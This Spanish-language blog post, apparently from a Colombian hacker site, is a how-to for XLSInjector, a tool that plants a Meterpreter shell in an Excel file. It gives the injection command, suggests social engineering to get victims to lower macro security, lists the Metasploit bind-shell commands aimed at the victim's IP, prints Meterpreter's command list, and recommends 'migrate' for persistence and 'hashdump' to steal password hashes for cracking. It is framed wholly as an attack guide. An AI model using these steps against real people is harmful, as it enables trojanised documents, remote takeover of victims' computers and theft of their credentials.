Para nadie es un secreto que la suite ofimática mas utilizada en el mundo es Microsoft Office, que se lleva la mayor parte de la cuota de mercado en entornos Windows y Mac, de esta suite, las aplicaciones mas utilizadas son Microsoft Word, Microsoft Excel y Microsoft Power Point que casi siempre están instaladas en la mayoría de computadores.

En esta ocasión les voy a hablar sobre XLSInjector, una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.

xlsinjector

Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:

Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:

perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls

Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework

  • iniciamos la consola del metasploit
  • una vez en la consola de MSF cargamos el payload de meterpreter
    set payload windows/meterpreter/bind_tcp
  • lo configuramos adecuadamente
    set RHOST ipdelpcvictima
    set RPOT 4444
  • luego lo lanzamos
    exploit

Con estos simples pasos tenemos a nuestra disposición una shell meterpreter en el equipo remoto, hay que recordar que las shell meterpreter son diferentes a las del sistema operativo, y tienen su propio listado de comandos, puedes sacar el listado de comandos disponibles para la shell meterpreter escribiendo “?” y enter, te arrojara algo parecido a esto:

Core Commands
=============

Command Description
——- ———–
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel

Stdapi: File system Commands
============================

Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory

Stdapi: Networking Commands
===========================

Command Description
——- ———–
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands
=======================

Command Description
——- ———–
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================

Command Description
——- ———–
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components

Priv: Password database Commands
================================

Command Description
——- ———–
hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands
========================

Command Description
——- ———–
timestomp Manipulate file MACE attributes

Hay que resaltar la potencia de meterpreter para inyectar dll’s, subir ficheros, ejecutar scripts, te recomiendo que le des una leída a estos documentos (Meterpreter.pdf y MSF3-met.html) para que aprendas mas sobre los comandos del meterpreter.

Te recomiendo utilizar el comando migrate tan pronto puedas para evitar que tan pronto cierren el archivo XLS se cierre con el tu shell, otro comando recomendado es hashdump que te arroja el contenido del archivo SAM en la maquina victima para que posteriormente puedas obtener la clave de los usuarios con herramientas como l0phtcrack o cain&abel.

Por ultimo les dejo el video del autor, donde nos enseña el funcionamiento del XLSInjector

Congreso Hacker Colombia